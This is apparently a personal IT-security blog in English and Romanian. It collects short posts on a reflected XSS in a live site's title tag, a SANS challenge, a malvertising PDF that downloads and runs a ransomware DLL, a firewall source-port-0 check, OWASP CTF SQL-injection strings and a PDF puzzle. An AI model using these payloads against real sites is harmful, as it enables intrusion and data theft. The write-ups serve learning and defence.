I like to recommend you a good reading, related with the future of the Security Industry and what need to be changed in the way how the Information Security is exercised. (The Future of Security The Trends and Technologies Transforming Security).

Happy reading

EDX is offering for time been an really interesting course (Louv1.01x Paradigms of Computer Programming) about the theory of computer programming. One of the homework was to use tail recursion in order to calculate the Fibonacci sequence. Because the solution is really smart I like to put some Python code to show the concept.

From the mathematical point of view you can see the Fibonacci sequence some think like:

a, b, a+b, a+2b, 2a+3b, 3a+5b, 5a + 8b, 8a +13b

0, 1, 1, 2, 3, 5, 8, 13,

so in general: F(a, b, n) = F(b, a+b, n-1) 

this can generate the following code:

def fibonacci_calc(acc1=0, acc2=1, nummber = 0):
if nummber == 0:
return acc1
elif nummber == 1:
return acc2
return fibonacci_calc(acc2, acc2+acc1, nummber-1)

and the hole code can be called like:
fibonacci_calc(0, 1, n)
I wish you happy coding…

I was kind of looking (pentester way) on a website and I saw that they could have a XSS flaw on the search field. Inserting the following string „<b>tester” on the search field, it get reflected back but just on the <title> tag like this.

<title>Cauta <b>tester – ……………</title>

There is a classical XSS, but what made that one interesting to me was the <title> tag.

<title>Cauta<script>alert(1);</script> – ……………</title>  => is not working


</title><script>alert(1)</script>&submit=Cauta => is working

Speaking with a friend, he gave me also an alternative the idea of inserting the <body> tag and create in this way a new HTML document.


</title><body onload=’javascript:alert(1)’>

worked also like a charm.

If I need to say thank you to someone for a nice time and for having fun, that would be Ed Skoudis. And If I need to hate someone for some nights without sleep, that would be definitely Ed.

But lets start with the beginning. I was kind of motivated by Ed’s post on the SANS web page to get over my old Turbo Pascal/Bash programming knowledge and move to something else like Python. And because I got some spare time around Christmas I decide myself to use Python for solving ED’s Christmas challenge (http://pen-testing.sans.org/holiday-challenge). I updated my Python install on Windows and got a big cup of tee (Phu Erh).

After I downloaded the pcap file and load that in wireshark I go normally to the Statistics -> Conversations and Statistics -> Endpoints in order to get some ideas regarding the kind of traffic that I’m dealing with.

First TCP conversations is a SMTP  conversation. In order to filter the SMTP traffic you can type smtp on the filter windows.

Selecting one of the packets and after this from the menu Analyse-> Follow TCP Stream, you can can see the SMTP conversation that contain an e-mail with an attachment. This attachment is a base64 encoded. In order to decoded I decide to use my „fu” in python.

import base64

a = []

newtext = []

inputstring = „”

inputfile = open(r”c:\smtptraffic.txt”,”r”)

for line in inputfile:


inputstring = „”.join(a)


outputfile = open(r”c:\Letter2Mel.doc”,”w”)

outputstring = base64.b64decode(inputstring)



I was kind of happy when I did get the output,  but trying to open the file I got an error from the Microsoft Word that the file was corrupted. Checking in a hex editor I was kind of surprised because I was able to see the Microsoft Word file header ( EC A5 C1 00 with a 512 byte offset )  and read the text,  but I was not able to open it. By the way, a good source for information about this can be found at http://www.garykessler.net/library/file_sigs.html .

Python was helping me to check the right position of the header with the function:



I moved forward with the analyses and got the SQL code injection, DNS replacement, Shell download and SQLite „magic” to plant the fake position on the Iphone backup file, but I was not really ready to submit my response because the first part was kind of „not wright”.

I start to have a look on other Python library binascii with the function  in order to get the file decoded but I  get the same result.


Convert a block of base64 data back to binary and return the binary data. More than one line may be passed at a time.

Asking around what could be the reason for not being able to open the file,  I was asked by someone if there was no malware embedded on the document.. Why the hell I did not thought about that. (Thanks Stefan). A check on virustotal for the md5 hash (761c786733a586aac8d8da0ce8e5dde6) came empty. No one uploaded the file until now. Ok!

On the http://www.reconstructer.org/ , Frank Boldewin offer some software that is able to detect malware on office documents.

C:>OfficeMalScanner.exe L

etter2Mel_v0.doc scan


|           OfficeMalScanner v0.53         |

|  Frank Boldewin / www.reconstructer.org  |


[*] SCAN mode selected

[*] Opening file Letter2Mel_v0.doc

[*] Filesize is 19467 (0x4c0b) Bytes

[*] Ms Office OLE2 Compound Format document detected

[*] Scanning now…

Analysis finished!


No malicious traces found in this file!

Assure that this file is being scanned with the „info” parameter too.


Running the info option make me to wonder more and more. (the software just crushed). This is not f….ing  good. Maybe I missed something.

After some days I did ask one of my friends if he had a look on the challenge and he told me that everything worked well, he used also Python to decode the file and surprise..he was able to open the document. Damn again. The only difference between me and him was that he used Linux for decoding the file. This can not be.

Can I run into a Python  bug? This can not be. In this point I started to update my script and create a md5 hash of the values „before” and „after”  the decode function:

import md5


Text skipped


m = md5.new()


print „the hash of the input string is: ” + m.hexdigest()


print „the hash of the input string is: ” + m.hexdigest()

The values were the same with the linux version but still the  output was different. The only remain point was the write function in Python that was suppose to write the doc to the disk.

And ….damn one more time…I just realize that I was writing a binary to disk and I need to tell  to my script that the value is binary.

outputfile = open(r”c:\Letter2Mel.doc”,”wb„)

But why is not happening the same in Linux? I  thought for 10 sec that this was Ed’s evil way to punish the Windows fellows. But I finished, not looking for blame, being late for submission and  happy with the challenge.

Thank you Ed, was really fun…

PS. I.m pretty sure that Grandma is using BackTrack for sending mails, because of the X-X-Sender header on SMTP message created by the Pine like software used for writing the mail:

From: Grandma <root@grandma.gma>

X-X-Sender: root@bt

To: cousinmel@mail.gma

Prima parte o puteti citi aici .

Dupa analiza trafiiculuui am ajuns la concluzia ca ofertantul de publicitate este (www.trafficrevenue.net).

Una din reclamele acestui ofertant, gazduita si pe 990.ro (http://ads.endoftheinternet.org/ku44/yoxlazgmkoaojme.pdf) contine un fisier pdf. (md5:675ec6a025d50f7dafef3992b46b7d41). Acest fisier contine un script java care are codul obfuscat. O incercare de a decoda codul javascript cu ajutorul (jsunpack-n.py) a condus la erori referitoare la inconsistenta codului java. Cine este interesat poate obtine o copie a acestului PDF.

Ceea ce face  pdf-ul destul de interesant este faptul ca modul in care a fost inserat scriptul  java  il face invizibil la tool-urile create de Didier Stevens.

Aceste tool-uri (pdfid si pdfparser) sunt folosite pentru a identifica continuturi periculoase in documente de tip pdf. Intre timp au fost incorporate si in site-ul de analiza a fisierelor suspicioase virustotal.com.

Pentru a putea sa decodez codul java am folosit site-ul Wepawet care a detectat codul java si l-a de-obfuscat. Dupa cum se poate vedea, scriptul java downloadeaza un fisier dll (wpbt0.dll).

Acest fisier modifica cheia shell din registri, blocheaza functionarea calculatorului si afiseaza apoi un mesaj cerand in limba germana plata unei recompense pentru a putea permite refolosirea calculatorului.

0x1a494bbe urlmon.URLDownloadToFileA(pCaller=0, szURL=, lpfnCB=0x0, szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll) 0
0x7c86250d kernel32.WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)
0x7c86250d kernel32.WinExec(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)


Ce se poate face? Cum am spus si in prima parte – firefox cu noscript.

PS. Puteti sa cititi in comentariile de la primul post punctul de vedere al administratorului site-ului 990.ro. Referitor la mesajul sau vreau doar sa subliniez ca este datoria administratorului sa verifice ce ofertanti de publicitate alege. Un simplu search pe google ar fi un inceput bun.

Has this site acted as an intermediary resulting in further distribution of malware?

Over the past 90 days, trafficrevenue.net appeared to function as an intermediary for the infection of 11 site(s) including shareapik.blogspot.com/, americanfootballphotos.com/, watchthewalkingdead.blogspot.com/.”

Congresul CCC (Chaos Computer Club) a inceput astazi.  Pentru cei interesati sa urmareasca online talk-urile pot accesa urmatorul link. Sunt talk-uri foarte interesante. Pot recomanda inainte de toate talk-ul referitor la „Datamining for Hackers„. Este o dovada foarte elocventa a rezultatelor ce pot fi obtinute atunci cand gandesti „outside the box”. Tnx Scusi. Exista si un canal pe youtube.

Have fun.


Prezentare „Black Ops of TCP/IP 2011” este interesanta si se refera in principal la systemul Bitcoin. O alta prezentare interesanta a fost cea referitoare la analiza „programului troian guvernamental”. Poate si datorita faptului ca au fost 2 juristi, un specialist in PR si  un specialist in securitate. Un model viabil pentru procesul de forensic :-D. Din pacate este numai in limba germana. Cine are nevoie de lamuriri, va rog sa ma contactati.

Site-ul http://www.990.ro, unde sunt postate de obicei ultimele seriale care ruleaza in televiziune, livreaza prin intermediul unui ofertant de publicitate malware. O vizita pe acest site a dus prima data  la infectarea calculatorului prin intermediul unui document pdf. Al doilea mi-a instalat pe calculatorul de proba un software care dupa ce a schimbat cheia „Schell” in registri, facandu-mi imposibila accessul la calculator, mi-a oferit posibilitatea de a scapa de soft contra unei sume de bani. Stream-ul de publicitate care contine malware-ul este oferit print intermediul celor de la xtendmedia.com sau trafficrevenue.net. Nu am avut timp sa analizez care dintre ele este, dar singura cale prin care puteti inca vizita site-ul este firefox-ul impreuna cu extensia „NoScript”.

Amanunte vor urma…


Wireshark are intre timp si un pluggin de GEOip. Ce inseamna asta? Se pot corela foarte usor informatiile de locatie cu adresele de IP pentru o mai buna vizibilitate asupra traficului.

Primul lucru care trebuie verificat este daca versiunea instalata a fost compilata cu suport de GeoIP. Informatia se poate afla daca se acceseaza meniul Help -> About Wireshark. La sectiune de compilare se afla pluggin-urile cu care a fost compilat.

Daca GeoIP-ul este unul dintre ele, pasul urmator este sa faci download la baza de date cu informatiile GeoIP de aici. Documentatia originala de instalare cat si cateva exemple de filtre bazate pe informatiile GeoIP se gasesc aici.

Pentru a putea vizualiza informatiile accesati meniul Statistics -> Endpoints -> IPv4 tab. O sa aveti o surpriza apasand obtiunea de Map. Dar mai bine va las pe voi sa o descoperiti.

BTW exista si pluggin de SNORT pentru Wireshark (WireShnork). Mai multe info aici

Have Fun

Astazi am citit despre faptul ca universitatea Standford organiseaza cursuri online. Si m-am decis sa vad cum functioneaza si daca merita. Asa ca m-am inscris la cursul de Criptografie. Cursurile incep la 1 Ianuarie. Sigur o sa incerc sa-l fac si pe cel de algoritmi pentru ca cred ca nu mi-ar strica sa-mi aduc aminte ce am invatat acum ceva timp. Oricum in programa sunt si cursuri de „Entrepreneurship” si „Computer Science”.

Have fun

Ascultand un podcast, am auzit de o veche problema de securitate a unor Firewall-uri care permiteau access nelimitat setand portul sursa 0. Cum se poate verifica in practica?
nmap -sS -p80 –source-port 0
>>ans,unans = sr(IP(dst=”″)/TCP(sport=0,dport=80),n timeout=0.1)

Si pentru ca scapy + python rock, se poate scana si asa :
>>ans,unans = sr(IP(dst=”″)/TCP(sport=[0,53],dport=80), timeout=0.1)

Have Fun.

Ieri am primit un mail de la ING care avea intentia sa ma educe in domeniul de phishing. Un mesaj cu un continut profesionist care l-as putea recomanda chiar multor banci.  Dar daca te uiti putin mai mult la mesaj vezi ca adresa de mail, de unde ai putea obtine informatii mai multe (contact@ing.ro), continuta in mesaj este de fapt un link catre site-ul loializare.com.


Intr-un fel sau altul „deschideti de fiecare data site-ul prin introducerea adresei (nu utilizati linkuri trimise prin email)” nu se potriveste cu afirmatia de mai sus.

Un alt aspect important este ca header-ele mesajului de email arata foarte clar ca mesajul vine de la un server de e-mail din domeniul mai sus mentionat.

Received: from loializare.com (loializare.com. [])

Domeniul mai sus mentionat apartine unei agentii de publicitate specializata in campanii de e-mail.
Nu vreau sa ma refer acum la faptul ca daca modific parametrul u din linkul de mai sus, dau peste o campanie a firmei e-mag. Ceea ce vreau sa subliniez este ca acest mesaj nu imi ofera nici un element de siguranta care sa ma faca sa cred ca vine de la ING. Pentru mine este numai o culegere de sfaturi bune impotriva phishing-ului care de fapt ar putea sa fie chiar maine transformat intr-un mesaj de phishing. (e-homebank.ro in loc de homebank.ro)?

Domnilor va rog sa va decideti daca vreti sa faceti marketing sau vreti sa faceti o campanie de informare in privinta securitatii
Amandoua in acelasi mesaj nu se potrivesc.


Organizatorii conferintei BSides London au pus la cale 3 hacking challange-uri, a caror rezolvare ar duce la castigarea unor premii constand in carti. Unul dintre aceste challange-uri este creat de Didier Stevens, care este recunoscut si pentru efortul lui de a creea tool-uri care sa ajute la analiza atacurilor care folosesc ca vector de propagare documentele in format PDF/Office.

Pentru analiza acestui document am folosit PDFSteamdumper care este un tool foarte bun pentru aceste tipuri de analize. O vizualizare a documentului arata urmatorul code java cat si alte informatii necesare:


/Title (BSidesLondon 2011 PDF Challenge)
/Author (Didier Stevens)
/CreationDate (20110421111705)

var j=”;
j += String.fromCharCode(10);
j += String.fromCharCode(118);
j += String.fromCharCode(97);


j += String.fromCharCode(41);
j += String.fromCharCode(59);
j += String.fromCharCode(10);

Tot PDFSteamDumper este in stare sa ruleze codul java „ascuns” si sa-l  extraga.

Versiunea finala arata cam asa:

var a = [2, 3, 1, 1];
var b = [2, 5, 131, 2347];
var c, d;
var e = Math.floor(this.info.CreationDate);
var f = e;
for (c = 0; c < a.length; c++)
for (d = 0; d < a[c]; d++)
f = f / b[c];
if (130817 == f)
app.alert({cMsg: ‘The provided code is correct, your answer is: ‘ + e / b[2] / b[3], cTitle: ‘BSidesLondon 2011 PDF Challenge’, nIcon: 3});
app.alert({cMsg: ‘The provided code is wrong!’, cTitle: ‘BSidesLondon 2011 PDF Challenge’, nIcon: 3});

Codul foloseste data creearii documentului pentru a determina daca esti sau nu castigator. Concurentiii trebuie sa modifice aceasta data pentru a putea sa rezolve challange-ul. Mai departe, folosind principiul de clasa a doua conform caruia inmultirea este operatia complementara impartirii, se poate afla data necesara pentru a putea rezolva challange-ul.

Frumos nu? Ce alte tool-uri ati fi folosit pentru a rezolva acest challange?

Cat de interesati sunteti de challange-uri de IT Security?

Acum 2 zile a fost facut public al doilea exercitiu CTF (Capture the Flag) de catre OWASP avand ca premiu bilete de intrare la conferinta AppSec din Irlanda. Cum trebuia reolvat acest exercitiu? Exercitiul contine mai multe vulnerabilitati care combinate pot fi folosite la rezolvarea puzzle-ului.

Enuntul este foarte simplu. Trebuie ca participantul sa  rezolve jocul si sa apara pe tabela de score cu „0” incercari. Numele participantului trebuie sa fie rezultatul concatenarii numelui propriu si al celui mai slab jucator.

Exercitiul se poate rezolva foarte usor cu firefox si extensia „Tamper Data”. Dupa rezolvarea jocului, aplicatia trimite ca parametru ascuns numarul de incercari. Interceptand request-ul se poate modifica aceast numar cu „0”. Pentru aflarea numelui celui mai slab jucator se foloseste o alta vulnerabilitate. „SQL Code Injection” in pagina jotto4.php care contine functionalitatea de search. Doar prin introducere urmatorului string „‘ union select @@version, null,null,null from results #” se poate obtine verisiunea serverului de MySQL. Pentru obtinerea celui mai slab jucator se poate folosi „‘ union select concat(user,count),null,null,null from results #”

Mult succes celor care vor sa se mai joace cu aplicatia. Atentie insa pentru ca pagina contine intre timp persistent cross site scripting. Ne auzim pe urmatorul 21 la urmatorul CTF.

Am reusit sa gasesc cateva articole interesante despre cazul „HBGary”.  A devenit rasunator nu datorita gradului ridicat de sofisticare a atacului ci mai ales a faptului ca o firma de securitate ignora voit principiile pe care le „vinde” clientilor. Dotorita arogantei?  Va recomand sa cititi cu atentie istoria intregului incident impreuna cu dreptul la replica a celor de la Anonymous.

Istoria Incidentului

Dreptul la replica

si presentarile sau marea majoritate a lor se pot gasi aici. Va recomand sa nu sariti peste conferinta de deschidere tinuta de Rop Gonggrijp. Merita….Din ceea ce e postat …ce v-a placut cel mai mult?

Acum ceva timp am relatat despre atacut impotriva sistemului de autentificare PIN/Card, descoperit de cativa  cercetori de la universitatea Cambridge condusi de Ross Anderson. Acum cateva zile insa am descoperit pe site-ul lui, raspunsul la o scrisoare a Asociatiei Britanice a cardurilor care cerea scoaterea de pe site-ul universitatii a studiului in cauza. Mi-a placut foarte mult raspunsul lui care suna cam asa.

Cambridge is the University of Erasmus, of Newton, and of Darwin; censoring writings that offend the powerful is offensive to our deepest values.

Frumos spus…si la multi ani si voua.

Defcon-ul este cunoscut ca fiind una dintre cele mai vizitate si apreciate conferinte de securitate IT. La editia 18 din acest an tema principala a concursului CTF (Capture the Flag) este Social Engineering-ul. Lansat initial pe site-ul social-engineer.org concursul are ca scop obtinerea a cat mai multe informatii despre o companie asignata fiecarui participant. Cu toate ca are un regulament clar care nu permite adunarea de informatii confidentiale, parole sau informatii financiare multe companii se arata ingrijorate de posibilele implicatii asupra imaginii in cazul in care ar fi target-ul unor astfel de atacuri. Interesanta este si proba in sine. Candidatii trebuie sa obtina cat mai multe informatii pe parcursul unei convorbiri de 20 de minute. Cam ce s-ar putea afla in cazul cand telefonul ar suna la voi la companie?

Have fun anyway…

TED pentru cei care nu stiu, este o initiativa minunata de a aduna oameni cu idei exceptionale .
Una din prezentarile care mi-au placut cel mai mult in domeniul de tehnologie, este cea a lui Yochai Benkler. Plina de pasiune, plina de adevar, plina de esenta si realism despre miscare open source.
Seat back and enjoy here.

NSI a facut public un document care trateaza „sterilizarea-sanitized”  :-)) informatiilor suplimentare continute in metadatele de documentele Word in momentul in care sunt convertite in formatul PDF. Microsoft s-a ocupat de aceasta tema si a pus si el la dispozitie informatii despre stergerea metadatelor. Ceea ce face documentul de la NSI interesant,  este faptul ca trateaza conversia la PDF si ca este scris in asa fel incat poate fi folosit pentru educarea utilizatorilor.. Pana la urma constientizarea de catre utilizatori a pericolului este primul pas. Documentul poate fi citit aici.

Can you read Metadatas. :-))

Caut de mult o analiza a posibilelor solutii de mitigare a riscului ca administratorul bazei de data poate vedea datele/exporta datele de bussines. Am gasit acum o presentare a lui Ralph Durkee care a fost prezentata la una din conferintele OWASP. Solutia care se detaseaza ca fiind cea mai practica si care acopera cele mai multe risk-uri este criptarea unor coloane din baza de data folosind pachete standard DBMS_Crypto cu stocare chei simetrice in layerul de aplicatie, in afara bazei de date. O implicatia majora este nevoia de clasifica datele ce trebuiesc sa fie criptate si ca toate aplicatiile care acceseaza datele trebuiesc rescrise. Link-ul catre presentare aici.

Have fun…

Martie 2017
« Mar